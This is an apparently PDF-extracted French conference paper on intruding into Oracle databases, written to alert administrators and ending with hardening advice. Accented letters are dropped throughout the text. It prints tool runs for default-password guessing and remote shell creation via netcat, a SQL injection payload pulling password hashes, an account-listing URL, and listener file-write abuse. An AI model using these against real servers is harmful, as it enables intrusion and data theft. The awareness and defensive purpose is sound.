Anda di halaman 1dari 18

Intrusions Oracle

Philippe Lagadec
DGA/CELAR philippe.lagadec(at)dga.defense.gouv.fr Rsum Les informations les plus sensibles dune entreprise sont gnralement e e e e stockes dans des serveurs de bases de donnes comme Oracle. Or de e e tels serveurs sont souvent peu scuriss, car le monde Oracle est e e extrmement riche et complexe : un administrateur Oracle a tellement e de param`tres ` grer que les aspects scurit passent souvent au second e a e e e plan. De plus, linstallation par dfaut dun serveur Oracle comporte de e nombreuses vulnrabilits importantes dont un attaquant averti peut fae e cilement tirer prot, parfois mme indirectement ` travers un pare-feu ou e a un serveur web intermdiaire. Cet article et la prsentation associe ont e e e pour but de montrer concr`tement les principales intrusions permettant e daccder aux donnes du serveur, ou mme de prendre le contrle du e e e o syst`me dexploitation hte, en se basant sur les vulnrabilits dOracle. e o e e Il sagit bien sr de sensibiliser les administrateurs et les responsables u scurit aux probl`mes spciques dOracle, et dapporter des recome e e e mandations pour se protger contre ces intrusions. e

Introduction

Les informations les plus sensibles dune entreprise sont gnralement stockes e e e dans des serveurs de bases de donnes comme Oracle. Pour de nombreuses bonnes e raisons, la scurisation de ces serveurs est souvent paradoxalement sous-estime. e e En eet, la complexit et la richesse des produits Oracle rend dicile le e travail des DBAs (administrateurs Oracle) et des dveloppeurs. Il y a dj` e ea tellement de concepts ` conna et dactions ` mener au quotidien pour quun a tre a syst`me Oracle fonctionne, et la scurit nest pas une priorit. En parall`le, les e e e e e responsables scurit et les auditeurs techniques ont aussi fort ` faire, et ils nont e e a pas souvent le temps de se former ` Oracle pour comprendre ses probl`mes de a e scurit spciques. e e e Au nal les risques associs ` un serveur Oracle sont gnralement souse a e e estims voire ignors. En eet, la conguration par dfaut dun serveur Oracle e e e comporte de nombreuses vulnrabilits importantes dont un attaquant averti e e peut facilement tirer prot, parfois mme indirectement a travers un pare-feu ou e ` un serveur web intermdiaire. e Cet article et la prsentation associe ont pour but de montrer concr`tement e e e les principales intrusions permettant daccder aux donnes du serveur, ou mme e e e de prendre le contrle du syst`me dexploitation hte, en se basant sur les o e o vulnrabilits dOracle. Il sagit bien s r de sensibiliser les administrateurs et e e u les responsables scurit aux probl`mes spciques dOracle, et dapporter des e e e e recommandations pour se protger contre ces intrusions. e

Actes du symposium SSTIC05

Oracle : quelques rappels

Ce chapitre rappelle tr`s rapidement quelques notions de base qui concernent e la scurit dOracle. e e

2.1

Bases et comptes utilisateurs

Un serveur Oracle peut contenir plusieurs bases de donnes. Chaque base e contient ses propres comptes utilisateurs. Dans le mode dauthentication par dfaut, chaque compte poss`de normalement un mot de passe protgeant lacc`s e e e e a ` la base, ainsi que des privil`ges qui restreignent plus ou moins lacc`s aux e e donnes et aux param`tres de la base. e e Toute nouvelle base est dote dun certain nombre de comptes par dfaut, e e parmi lesquels SYS et SYSTEM sont les principaux comptes dadministration, avec des privil`ges tendus. e e Du point de vue de la gestion des utilisateurs, une base Oracle peut donc tre considre comme un syst`me dexploitation indpendant. e e e e e Il existe galement dautres modes dauthentication o` Oracle fait conance e u au syst`me dexploitation hte plutt que de demander un mot de passe. e o o

2.2

Acc`s rseau : TNS Listener et OracleNet e e

Lacc`s aux bases par le rseau passe gnralement par un protocole proe e e e pritaire sur TCP/IP, nomm SQL*Net, Net8 ou OracleNet suivant les versions e e dOracle. Sur le serveur Oracle, cest le module TNS Listener (Transparent Network Substrate) qui est charg de grer les connexions rseau vers les direntes e e e e bases ` travers ce protocole. Le port TCP par dfaut est 1521, mais Oracle a e peut tr`s bien employer un autre port. Sur le poste client, lutilisateur emploie e gnralement le logiciel client Oracle, soit directement soit par lintermdiaire e e e dune application spcique (interfaces Java, ODBC, ...). e Chaque base Oracle sur le serveur est accessible grce ` un identicateur a a appel SID . Lorsquun client se connecte ` une base par le rseau, il doit e a e conna le serveur, le port TCP du TNS Listener, le SID de la base, ainsi que tre le login et le mot de passe du compte Oracle utilis. e Dans certains cas particuliers, il est possible demployer des alternatives au mot de passe Oracle, comme par exemple lauthentication par le compte utilisateur Unix, ou bien lauthentication native dun domaine Windows. Le schma suivant reprsente la connexion rseau dun utilisateur Bob sur e e e une base dont le SID est BASE1 , apr`s avoir saisi son mot de passe Oracle e sur son poste client :

Actes du symposium SSTIC05

Fig. 1. Exemple de connexion rseau Oracle e

2.3

Applications web 3-tiers

De plus en plus dapplications bases sur Oracle emploient une interface web e avec un simple navigateur, ce qui vite de dployer un client lourd sur chaque e e poste utilisateur. Dans ce cas larchitecture est dirente : e Depuis son navigateur, lutilisateur se connecte sur un serveur web pour accder ` lapplication. Suivant la nature de cette application, lutilisateur na e a pas forcment besoin de sauthentier. Par exemple un annuaire interne dentree prise peut tre accessible publiquement en lecture sans authentication. e Lapplication web a besoin daccder aux donnes dun serveur Oracle, qui e e peut tre sur une machine spare ou non suivant les cas. Comme dans le cas e e e prcdent, lacc`s ` la base de donnes ncessite un compte utilisateur Oracle e e e a e e et un mot de passe. Cest donc lapplication web qui doit sauthentier par rapport ` la base, et non lutilisateur. L` aussi plusieurs cas sont possibles : a a soit lapplication web emploie un compte et un mot de passe Oracle qui lui sont propres, soit elle transmet le login et le mot de passe saisis par lutilisateur dans son navigateur. Les distributions standard des serveurs Oracle fournissent un serveur web Apache adapt pour accder directement aux bases de donnes (acc`s Java ou e e e e module mod plsqlfg, XSQL, ...), mais il existe de nombreux autres serveurs dapplication web tiers permettant de btir ce type darchitecture. a

Actes du symposium SSTIC05

Fig. 2. Exemple dapplication web 3-tiers Oracle

Scnarios pour une intrusion Oracle par le rseau e e (OracleNet)

Nous allons maintenant tudier la dmarche dune personne malveillante qui e e cherche ` mettre ` prot les vulnrabilits dun syst`me Oracle pour accder a a e e e e aux donnes quil contient, ou pour accder au syst`me dexploitation des mae e e chines qui hbergent Oracle. Cela nous permettra den dduire lensemble des e e protections ` mettre en place. a Dans un premier temps, nous allons nous pencher sur le cas dun attaquant qui a un acc`s direct par le rseau aux serveurs Oracle, via le protocole natif Orae e cleNet. Le schma suivant synthtise la plupart des vulnrabilits dun syst`me e e e e e Oracle dans ce cas de gure, qui sont dcrites par la suite : e

Actes du symposium SSTIC05

Fig. 3. Vulnrabilits dun syst`me Oracle e e e

Voici les tapes possibles pour une intrusion sur un syst`me Oracle via le e e rseau : e 3.1 Prise dempreinte rseau e

Avant toute chose, un attaquant doit dtecter et identier correctement sa e cible pour pouvoir adapter ses actions. Cela passe gnralement par le rseau. e e e Ecoute rseau Si lattaquant a la possibilit dcouter le trac rseau, il peut e e e e identier les connexions entre clients et serveurs, en dtectant les ux OracleNet. e Comme ces ux sont en clair par dfaut, de nombreuses informations sont ace cessibles : adresses des clients et des serveurs, identiants des bases de donnes. e Certains outils comme dsni permettent mme de capturer les squences daue e thentication des utilisateurs. Scan de ports et de services En utilisant des outils de scan de ports comme nmap (option -sV) ou amap, un attaquant peut dtecter prcisment la prsence e e e e dun serveur Oracle, et identier le numro de port TCP utilis par le service e e TNS Listener (1521 par dfaut). e Les tests de dtection OS ngerprinting (par exemple nmap -O) pere mettent didentier le syst`me dexploitation qui hberge le serveur Oracle et sa e e version, informations tr`s utiles pour rechercher les vulnrabilits exploitables. e e e

Actes du symposium SSTIC05

Voici un exemple de rsultat : e #nmap -sV -O -p 1-65535 192.168.0.1 Interesting ports on 192.168.0.1 : PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.4p1 (protocol 1.99) 80/tcp open http IBM HTTP Server 1.3.19.4 (Derived from Apache 1.3.20 ; Unix) 94/tcp open objcall ? 111/tcp open rpcbind 2-4 (rpc #100000) 443/tcp open https ? 657/tcp open unknown 1521/tcp open oracle-tns Oracle Listener ... Running : IBM AIX 5.X OS details : IBM AIX 5.1-5.2 Requtes du TNS Listener En ouvrant une connexion simple sur le service e TNS Listener identi grce ` un outil comme lsnrctl (fourni avec tout serveur e a a Oracle) ou tnscmd.pl (cf. [TNS] et [TNSCMD]), lattaquant peut obtenir de nombreuses informations supplmentaires grce aux commandes status ou e a services , sans aucun besoin dauthentication. Les informations intressantes fournies par le TNS Listener sont notamment : e Le type et la version du syst`me dexploitation hte e o La version dOracle Les SIDs des bases de donnes accessibles e Les param`tres de scurit du TNS Listener e e e Parfois mme les variables denvironnement du compte sous lequel tourne e le TNS Listener, ce qui rv`le le compte utilisateur sous lequel fonctionne e e Oracle, son rpertoire home, etc... e Exemple : #tnscmd.pl STATUS -h 192.168.0.1 -p 1521 --indent sending (CONNECT DATA=(COMMAND=status)) to 192.168.0.1 :1521 connect writing 89 bytes reading DESCRIPTION= VSNNUM=153093120 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR for Linux : Version 9.2.0.4.0 - Production START DATE=22-OCT-2004 16 :44 :17 SIDNUM=1 LOGFILE=/opt/oracle/9.2/network/log/listener.log PRMFILE=/opt/oracle/9.2/network/admin/listener.ora TRACING=off

Actes du symposium SSTIC05

UPTIME=188512 SNMP=OFF PID=2120 SERVICE= SERVICE NAME=ORATEST INSTANCE= INSTANCE NAME=ORATEST NUM=1 INSTANCE STATUS=UNKNOWN NUMREL=1 SERVICE= SERVICE NAME=PLSExtProc INSTANCE= INSTANCE NAME=PLSExtProc NUM=1 INSTANCE STATUS=UNKNOWN NUMREL=1 #tnscmd.pl SERVICES -h 192.168.0.1 -p 1521 --indent sending (CONNECT DATA=(COMMAND=services)) to 192.168.0.1 :1521 [...] INSTANCE= INSTANCE NAME=ORATEST NUM=2 HANDLER= [...] ENVS=HOSTNAME=localhost, TERM=xterm, SHELL=/bin/bash, TMPDIR=/persist/opt/9.2/tmp, USER=ora920, ORACLE\_SID=ORATEST, ORACLE\_BASE=/persist/opt/oracle, MAIL=/var/spool/mail/ora920, PATH=/persist/opt/oracle/9.2/bin: /opt/bin: /bin: /usr/bin: /usr/local/bin: /usr/sbin: /usr/X11R6/bin, SECURE\_LEVEL=2, PWD=/persist/opt/9.2, JAVA\_HOME=/usr/local/java, HOME=/persist/opt/9.2, TMP=/persist/opt/9.2/tmp, LOGNAME=ora920, DISPLAY=:0.0, ORACLE\_HOME=/persist/opt/oracle/9.2, ... 3.2 Rcupration de mots de passe Oracle e e

Pour accder ` une base de donnes Oracle via le protocole Oracle Net, il est e a e ncessaire de sauthentier en tant quutilisateur de cette base. En gnral cette e e e authentication se fait par un login et un mot de passe dun compte Oracle. Un attaquant dispose de plusieurs mthodes pour trouver un login / mot de passe e valide :

Actes du symposium SSTIC05

Mot de passe par dfaut Une des vulnrabilits principales dune base de e e e donnes Oracle est la prsence de nombreux comptes utilisateurs par dfaut avec e e e des mots de passe usine bien connus ([ODPL] en liste plus de 600 !). En eet, toute cration dune base Oracle provoque lajout de comptes par dfaut, par e e exemple SYS, SYSTEM, DBSNMP, OUTLN, ... Chacun de ces comptes poss`de un mot de passe x par dfaut, par exemple e e e manager pour SYSTEM et dbsnmp pour DBSNMP. Cette liste de mots de passe par dfaut est bien documente et accessible publiquement sur Internet. e e La majorit des mots de passe est simplement identique au nom de compte. e Avec les versions rcentes dOracle et suivant la mthode de cration de la e e e base (assistant DBCA ou cration manuelle), ladministrateur peut tre forc e e e par le syst`me de choisir un mot de passe dirent pour SYS et SYSTEM. e e Cependant cette fonctionnalit est en gnral limite ` ces 2 comptes, et elle e e e e a ntait pas prsente auparavant. Il nest donc pas rare de retrouver ces comptes e e intacts sur danciennes bases de donnes toujours en production. e Il existe de tr`s nombreux outils pour tester rapidement la liste des logins / e mots de passe connus, comme par exemple OPWG (Oracle PassWord Guesser, cf. [OAT]) : C :\OAT>opwg -s srv ora1 Oracle Password Guesser v1.3.1 by patrik@cqure.net -------------------------------------------------INFO : Running pwcheck on SID BASE1 Successfully logged in with CTXSYS/CTXSYS Successfully logged in with DBSNMP/DBSNMP Successfully logged in with DEMO/DEMO Successfully logged in with SYS/CHANGE ON INSTALL Successfully logged in with SYSTEM/MANAGER Skipping PLSExtProc ... INFO : Running pwcheck on SID BASE2 Successfully logged in with CTXSYS/CTXSYS Successfully logged in with DBSNMP/DBSNMP Successfully logged in with OUTLN/OUTLN Ecoute rseau Une connexion OracleNet en clair peut rvler le login et le mot e e e de passe Oracle de lutilisateur, si lattaquant emploie un outil comme dsni. Mot de passe stock sur un poste client Il nest pas rare de rencontrer e des applications qui emploient Oracle comme un simple moyen de stockage de donnes, et qui sont conues pour viter ` lutilisateur la gestion dun mot de e c e a passe supplmentaire. Dans ce cas, le mot de passe Oracle employ pour accder e e e aux donnes est souvent stock en dur dans le code de lapplication ou bien e e dans un chier du disque, soit en clair soit sous forme obscurcie (chirement rversible). Un attaquant ayant acc`s au poste client peut alors trouver ce mot e e de passe, sil dispose dassez de temps et dimagination.

Actes du symposium SSTIC05

Mot de passe visible sur le serveur Si lattaquant dispose dun acc`s au sere veur en tant quutilisateur lgitime du syst`me dexploitation, il pourrait obtenir e e lacc`s ` un mot de passe Oracle non protg, par exemple : e a e e Mot de passe accessible dans un script ou un chier de conguration du serveur mal protg. e e Mot de passe visible dans une ligne de commande, grce ` la commande a a ps . Acc`s via une autre base Oracle Si un attaquant a dj` acc`s ` une base e ea e a Oracle, il peut mettre ` prot certaines vulnrabilits pour progresser dans le a e e syst`me en se connectant ` dautres bases lies : e a e Intrusion via une base de donnes de dveloppement mal protge, contee e e e nant des liaisons vers dautres bases ( database links : mots de passe stocks en clair). e Intrusion via la base Repository mal protge dun serveur Oracle e e Enterprise Manager, qui centralise les mots de passe dadministration de toutes les bases administres. e 3.3 Intrusion Oracle via le syst`me dexploitation e

Sur le serveur Si lattaquant est capable dexploiter une vulnrabilit du e e syst`me dexploitation sur le serveur Oracle, il peut sen servir pour obtenir e lacc`s aux bases de donnes : e e Modication de chiers de conguration ou de scripts pour ajouter un compte dadministration Oracle. Ajout dutilisateurs au groupe des administrateurs Oracle. Sur le poste client dun administrateur Oracle Comme le montre [ADMIN], le poste dun administrateur Oracle peut tre sujet ` de nombreuses vulnrabilits, e a e e et un attaquant peut sen servir pour obtenir lacc`s aux bases de donnes. Il e e est par exemple possible de modier le chier glogin.sql pour injecter des commandes au lancement de SQL*Plus, ou bien toad.ini pour loutil dadministration TOAD. De plus, la plupart des outils dadministration Oracle ont la fcheuse habia tude de stocker certains mots de passe dans des chiers sur le poste client. Mme e sils sont stocks sous forme chire, il est parfois possible de recopier les chiers e e de conguration sur une machine possdant le mme outil pour se connecter e e directement ` la base Oracle. a 3.4 Intrusion syst`me via Oracle e

A linverse, certaines vulnrabilits dOracle permettent de compromettre le e e syst`me dexploitation, ou dattaquer dautres machines depuis Oracle. e

10

Actes du symposium SSTIC05

Excution de code Comme beaucoup de logiciels certaines versions dOracle e sont vulnrables ` des dbordements de tampons qui permettent de dclencher e a e e du code excutable ` distance dans le contexte du TNS Listener. e a Vulnrabilit Create Library Loutil OSE du package [OAT] montre e e quil est relativement simple dexploiter une vulnrabilit dOracle pour obtenir e e un shell sur un serveur Oracle (sous Windows ou Solaris pour la version actuelle). Cet outil ncessite un acc`s Oracle avec un compte disposant du privil`ge create e e e library . Exemple : c :\>ose -s 192.168.0.1 -t Windows -u system -p manager OracleSysExec v1.3.1 by patrik@cqure.net ---------------------------------------INFO : Local IP seems to be 192.168.0.10 SERVER :[2] Tftp Server thread started. INFO : Uploading netcat to Oracle Server INFO : Recieved read request from /192.168.0.1 INFO : Completed read request from /192.168.0.1 INFO : Sleeping for 2 seconds INFO : Creating shell on port 31337 Oracle Server INFO : Cleaning up ! INFO : The nc.exe will be left in %temp% INFO : Stopping TFTP Server c :\>nc 192.168.0.1 31337 Microsoft Windows [version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C :\WINDOWS\system32> Scurit du TNS Listener Le probl`me le plus rpandu est labsence de e e e e scurisation par dfaut du TNS Listener, mme si tous les correctifs de scurit e e e e e ont t appliqus. Il est possible douvrir une connexion et de transmettre des ee e commandes dadministration au service TNS Listener sans authentication particuli`re, et sans accder ` une base. Voici les commandes dadministration du e e a TNS Listener les plus importantes concernant la scurit (une liste plus compl`te e e e est fournie dans le document [TNS]) : status : Fournit des informations, notamment la liste des SIDs des bases accessibles, la prsence dun mot de passe de protection, lactivation de SNMP, e et la version dOracle. services : Fournit des informations plus dtailles que status, en particulier e e lenvironnement de lutilisateur sous lequel tourne le Listener : compte utilisateur du TNS Listener, rpertoire home , etc. e stop : stoppe le TNS Listener. Cela peut aboutir ` un dni de service, en bloa e quant lacc`s rseau aux bases. e e log le : Modie lemplacement du chier de log du TNS Listener.

Actes du symposium SSTIC05

11

A part status , lacc`s a ces commandes peut tre protg par un mot de e ` e e e passe, cependant par dfaut ce mot de passe nest pas activ. e e La vulnrabilit la plus grave est lie ` la commande log le , qui permet e e e a a ` un attaquant dajouter des lignes de texte quelconques dans tout chier du syst`me hte, pourvu quil soit accessible au compte utilisateur sous lequel tourne e o le TNS Listener. Si le syst`me dexploitation du serveur est un Unix, il est par exemple possible e de modier le chier .rhosts de ce compte pour accder au syst`me sans e e authentication, si les services rsh ou rlogin sont activs. Ce type dattaque est e dcrit en dtail dans la documentation de loutil tnscmd.pl (cf. [TNSCMD]). e e Sur le mme principe, cette vulnrabilit permet entre autres dobtenir un e e e acc`s SSH par injection de cl publique dans le chier .ssh/authorized keys e e (si le sous-rpertoire .ssh existe dj`), dinjecter des commandes SQL dans le e ea script glogin.sql de SQL*Plus, ou de piger un serveur Windows grce ` un e a a chier BAT judicieusement plac. e Cette vulnrabilit du TNS Listener permet donc une intrusion au niveau du e e syst`me dexploitation hte, sans passer par une authentication Oracle. e o Modules Oracle Une fois obtenue une connexion ` une base de donnes, cera e tains modules sont accessibles par programmation et permettent de scanner ou dattaquer dautres machines du rseau, qui ne seraient pas forcment visibles e e autrement. e Par exemple le module utl tcp rend possible la cration dun scanner de ports TCP depuis une base de donnes Oracle. Si le serveur Oracle est accd e e e par un attaquant ` travers un pare-feu, ce module permet de scanner les autres a machines normalement inaccessibles, derri`re le pare-feu. e Pigeage dun poste client Oracle sous Windows Le client Oracle pour e Windows peut aussi poser des probl`mes de scurit pour le syst`me dinformae e e e tion. Par exemple, il nest pas rare de rencontrer des postes o` le client Oracle u a modi la variable PATH du syst`me lors de son installation pour placer le e e rpertoire bin dOracle en tte, devant %systemroot%\system32, comme ceci : e e PATH=C :\oracle\ora90\bin ;C :\WINNT\system32 ;C :\WINNT ;... On peut gnralement constater que ce rpertoire bin est accessible en e e e criture ` tout le monde. Il en rsulte que nimporte quel utilisateur peut facie a e lement piger la machine en introduisant des excutables possdant les mmes e e e e noms que ceux situs dans system32 et utiliss par ladministrateur : cmd.exe, e e net.exe, regedit.exe, 3.5 Rcupration de donnes e e e

Si une base de donnes contient des informations sensibles, il est ncessaire de e e prendre des prcautions pour les protger, ` la fois sur le rseau et dans la base e e a e elle-mme. En eet ces informations pourraient tre rcupres par un attaquant e e e e e par divers moyens :

12

Actes du symposium SSTIC05

Ecoute des connexions en clair, si le protocole Oracle Net nest pas chir. e Rcupration dune sauvegarde de base de donnes stocke dans un lieu e e e e mal protg. e e Exploitation de privil`ges ou rles trop tendus donnant lacc`s aux donnes : e o e e e privil`ges any , rle DBA, privil`ges du groupe PUBLIC, ... e o e 3.6 Maintien dun acc`s dans un syst`me Oracle (rootkit) e e

Une fois quun attaquant est parvenu ` obtenir un acc`s dans une base a e de donnes Oracle, il peut avoir besoin de sy maintenir, et de camouer sa e prsence. Il peut alors se crer une porte drobe par divers moyens (procdure e e e e e stocke, trigger, ), ou mme utiliser des techniques de camouage volues qui e e e e sapparentent aux rootkits qui existent pour Unix ou Windows. Le document [ROOTKIT] montre quil est possible de maintenir une session utilisateur dans une base Oracle et de lancer des procdures de faon tr`s furtive, tout en foure c e nissant une mthode pour dtecter ce type dactivit. e e e 3.7 Nouvelles vulnrabilits en 2004 et 2005 e e

En 2004, David Litcheld a rvl lexistence dune cinquantaine de nouvelles e ee vulnrabilits dcouvertes dans diverses versions des produits Oracle, jusqu` la e e e a toute derni`re 10g, sans prciser la nature exacte de ces failles. Depuis, Oracle e e a commenc ` fournir des correctifs pour certaines des ces vulnrabilits, et e a e e sous la pression des utilisateurs et des mdias certains dtails ont t rvls n e e e e e ee dcembre 2004 puis courant avril 2005 (cf. [VULN1,VULN2]). e Etant donn le nombre et la criticit des vulnrabilits dcouvertes, il est plus e e e e e que jamais important de suivre et dappliquer les correctifs au fur et ` mesure a de leur parution (cf. [CPUSA,OSA]).

Scnarios pour une intrusion via une application web e

Le cas dune intrusion par une application web est dirent, car les vulnrabilits e e e mises en oeuvre ne sont pas les mmes que pour un acc`s direct par le rseau e e e via le protocole OracleNet. Comme pour les intrusions par le rseau, il est possible de dresser un schma e e des intrusions possibles pour une application web 3-tiers, par exemple ` base a dOracle HTTP Server ou Oracle Application Server. Oracle HTTP Server est un serveur web Apache adapt pour crer des applie e cations web lies ` un serveur Oracle (via des interfaces PL/SQL, XSQL, JSP ou e a SOAP). Il fait notamment partie de la distribution standard du serveur Oracle 8i et de Oracle 9iAS. Oracle Application Server est une distribution spcique contenant des fonce tionnalits supplmentaires adaptes aux applications web, incluant Oracle HTTP e e e Server.

Actes du symposium SSTIC05

13

Alors quun serveur Oracle est souvent protg des acc`s extrieurs, il est plus e e e e frquent de rencontrer un serveur Oracle HTTP en premi`re ligne (par exemple e e dans une DMZ), servant dinterface entre les utilisateurs et les bases de donnes. e

Fig. 4. Vulnrabilits dune application web 3-tiers Oracle e e

4.1

Identication dune application web base sur Oracle e

Si lattaquant a acc`s ` une application web, il peut tre capable didentie a e er quelle sappuie sur un serveur Oracle, par exemple en tudiant les URLs e employes ou les rponses ` certaines requtes. Cela est possible ` la fois pour e e a e a les applications publiques, o` lattaquant peut naviguer librement, et pour les u applications ncessitant une authentication, o` il est limit ` la page daue u e a thentication. En eet cette page dauthentication sut souvent pour trahir la prsence dOracle. e Voici quelques exemples dURLs typiques dune application base sur Oracle e HTTP Server ou Oracle Application Server : PL/SQL : http ://serveur/pls/xxx/ XSQL : http ://serveur/xsql/xxx/ SOAP : http ://serveur/soap/xxx/

14

Actes du symposium SSTIC05

4.2

Rcupration de mots de passe web e e

Une application web qui emploie HTTP en clair et demande une authentication de lutilisateur est vulnrable ` une coute rseau : le mot de passe de e a e e chaque utilisateur est facilement captur. e Si lutilisateur choisit de stocker son mot de passe sur son poste client grce a aux fonctionnalits des navigateurs rcents, lattaquant peut y accder grce e e e a aux ventuelles vulnrabilits du poste client, et sen servir pour se connecter ` e e e a lapplication web. 4.3 Rcupration de donnes (coute rseau) e e e e e

Si toute lapplication web est base sur HTTP en clair, un attaquant capable e dcouter le rseau entre un client et le serveur web peut rcuprer toutes les e e e e donnes qui transitent. e 4.4 Intrusion Oracle via une application web

Certaines vulnrabilits des applications web permettent ` un attaquant de e e a sintroduire dans une base de donnes Oracle associe, ou de lui faire excuter des e e e requtes SQL depuis son navigateur. Si ces attaques ne sont pas spciquement e e ltres par une passerelle adapte, elles peuvent fonctionner ` travers un paree e a feu, puisque tout se passe au niveau applicatif sur HTTP. Injection SQL Le type dattaque le plus connu est linjection SQL : lattaquant saisit des donnes dans un formulaire de lapplication web, en utilisant une syne taxe particuli`re. Si lapplication exploite directement ces donnes sans ltrage e e dans un code PL/SQL, il se peut que lattaquant parvienne ` faire excuter un a e code SQL de son choix, directement dans le contexte de la base de donnes (cf. e [APPSEC,ADVSQL]). Dans certains cas particuliers, cela peut mme aboutir ` e a lexcution de commandes au niveau du syst`me dexploitation. e e Remarque : linjection SQL nest pas forcment lie ` une application web. e e a Toute autre application qui gn`re dynamiquement une requte SQL ` base e e e a de donnes saisies par un utilisateur est potentiellement vulnrable ` ce type e e a dattaque. Exemple simpli : considrons une application web qui demande ` lutilisae e a teur de saisir une donne CODE POSTAL dans un formulaire, pour acher e une liste de personnes avec ce code postal. La requte SQL serait alors : e Select * from personnes where code = CODE POSTAL Si lattaquant saisit la cha suivante ` la place dun code postal valide : ne a 75000 UNION select password from DBA USERS where q=q Alors la requte SQL rellement excute sera la suivante : e e e e Select * from personnes where code = 75000 UNION select password from DBA USERS where q=q ce qui risque de lui fournir la liste des mots de passe (hachs) de la base e Oracle !

Actes du symposium SSTIC05

15

Vulnrabilits des serveurs web Oracle HTTP Server et Oracle Ape e plication Server Linstallation par dfaut de dOracle HTTP Server soure e gnralement de nombreuses vulnrabilits spciques (cf. [HPOAS]). e e e e e Pour certaines versions comme Oracle 9iR1 on peut citer entre autres la possibilit de lancer des requtes SQL sur le serveur sans avoir besoin dauthene e tication, ` cause de modules PL/SQL vulnrables. Ces requtes sexcutent a e e e alors dans le contexte du compte utilisateur de lapplication web. En eet une application web PL/SQL est congure grce ` un DAD (Data Access Descripe a a tor), qui correspond ` un compte et un mot de passe de la base de donnes a e Oracle associe. Ainsi toutes les requtes de lapplication web sont eectues sur e e e la base ` laide de cet unique compte. a Par exemple, lURL suivante provoque le renvoi de la liste des comptes Oracle de la base associe ` lapplication web (cette liste est visible en achant le code e a source de la page HTML retourne) : e http://serveur/pls/dad/owa_util.listprint?p_theQuery=select%20*% 20from%20all_users&p_cname=&p_nsize= Un serveur Oracle HTTP vulnrable peut donc servir dintermdiaire ` un ate e a taquant pour accder ` des donnes et ` des procdures normalement interdites, e a e a e mme si le serveur Oracle associ est correctement protg. e e e e Google hacking Un jeu ` la mode consiste ` exploiter la puissance du moteur a a de recherche Google pour dnicher de nombreuses vulnrabilits accessibles sur e e e des serveurs web connects ` Internet. e a Les serveurs web bass sur Oracle nchappent pas ` la r`gle, comme le e e a e montrent [GOOGLE1,GOOGLE2,GOOGLE3].

Recommandations pour scuriser Oracle e

Etant donnes toutes les vulnrabilits prsentes au cours de cet article, e e e e e la scurisation parfaite dun syst`me Oracle nest pas une tche simple... Il est e e a cependant possible damliorer tr`s nettement la scurit dOracle en appliquant e e e e quelques recommandations. Certaines de ces recommandations rel`vent du bon e sens, mais la ralit montre quil nest jamais inutile de les rappeler, surtout dans e e un domaine aussi complexe que les syst`mes Oracle : e 1. Installer et activer uniquement les fonctionnalits indispensables. Mme si e e linstallation est plus complexe et plus longue, cest un gain de temps et dargent ` moyen et long terme : tout module non install naura pas besoin a e dtre mis ` jour, naura pas besoin dtre scuris, et surtout ne pourra e a e e e jamais tre attaqu ! e e 2. Pour un serveur web Oracle HTTP Server ou Oracle Application Server, supprimer toutes les pages dexemple, et dsactiver les modules inutiles. e 3. Scuriser le syst`me dexploitation des serveurs Oracle, ainsi que tous les e e postes clients employs par les administrateurs. e

16

Actes du symposium SSTIC05

4. Appliquer rguli`rement tous les correctifs de scurit publis par Oracle (cf. e e e e e [CPUSA]). Bien s r, la pertinence de chaque correctif doit tre analyse, le u e e correctif doit dabord tre install et vri dans un environnement de test e e e e avant dtre appliqu en production. e e 5. A la cration de toute nouvelle base Oracle, dsactiver tous les comptes e e utilisateurs non indispensables. 6. Modier les mots de passe de tous les comptes actifs. 7. Vrier rguli`rement ces mots de passe ` laide doutils de test comme e e e a [OAT,ODPAT]. 8. Appliquer des contraintes sur les mots de passe : dure de vie, verrouillage, e complexit, ... e 9. Scuriser le TNS Listener, en lui appliquant un mot de passe dadministrae tion et en ajoutant le param`tre ADMIN RESTRICTIONS (cf. [TNS]). e 10. Vrier rguli`rement la scurisation du TNS Listener ` laide doutils comme e e e e a [LCHK,NESSUS]. 11. Eviter de laisser un serveur Oracle accessible ` tout le monde sur un rseau a e ouvert, surtout sil sagit dInternet. Eventuellement protger son acc`s par e e un pare-feu, ou congurer le TNS Listener pour nautoriser quune liste dadresses IP pour les clients (cf. [TNS]). 12. Surveiller rguli`rement la scurit et lintgrit des bases Oracle sensibles, e e e e e e ainsi que tous les journaux dv`nements pouvant mettre en vidence des e e e actions malveillantes. 13. Envisager le chirement des connexions rseau, quil sagisse dOracleNet e avec SSL ou SSH, ou de HTTPS pour les applications web. 14. Pour une application web, vrier que toutes les donnes saisies par les e e utilisateurs sont bien ltres pour viter les risques dinjection SQL. e e 15. Sur les postes clients Windows, vrier les ACLs sur les rpertoires du PATH. e e 16. Protger correctement les sauvegardes des bases de donnes. e e Cette liste est loin dtre exhaustive. e Pour aller plus loin, les documents [CHK9,TNS,CIS,SECOAS] ainsi que le site [FINN] fournissent de nombreuses informations supplmentaires pour la e scurisation des produits Oracle. e

Conclusion

Cet article a montr un aperu des vulnrabilits quun attaquant averti e c e e peut mettre en oeuvre pour compromettre une base de donnes Oracle ou bien e le syst`me dexploitation du serveur qui lhberge. Ces vulnrabilits ne doivent e e e e pas tre prises ` la lg`re, puisque de tr`s nombreux syst`mes utilisent Oracle e a e e e e pour y stocker des donnes sensibles. e La complexit du monde Oracle et le nombre impressionnant de chiers et de e param`tres disponibles ne doit pas empcher un DBA ou un responsable scurit e e e e

Actes du symposium SSTIC05

17

de se pencher sur la scurisation des serveurs Oracle. Lapplication de quelques e recommandations permet de se protger contre la plupart des vulnrabilits prine e e cipales.

Rfrences ee
[TNSCMD] Tnscmd.pl, http://www.jammed.com/%7Ejwa/hacks/security/tnscmd [TNS] [ODPL] [OAT] [ODPAT] Oracle Database Listener Security Guide, Integrigy, http://www. integrigy.com/info/Integrigy_OracleDB_Listener_Security.pdf Oracle default password list, Pete Finnigan, http://www.petefinnigan. com/default/default_password_list.htm Oracle Auditing Tools, http://www.cqure.net Oracle Default Password Auditing Tool, Marcel-Jan Krijgsman et Pete Finnigan, http://www.petefinnigan.com/default/default_password_ checker.htm Hardening Oracle Admin PC, Alexander Kornbrust, http://www. red-database-security.com/wp/hardening_admin_pc_us.pdf http://www.

[ADMIN]

[ROOTKIT] Database Rootkits, Alexander Kornbrust, red-database-security.com/wp/db_rootkits_us.pdf [VULN1] [VULN2] [CPUSA] [OSA] [HPOAS] [APPSEC]

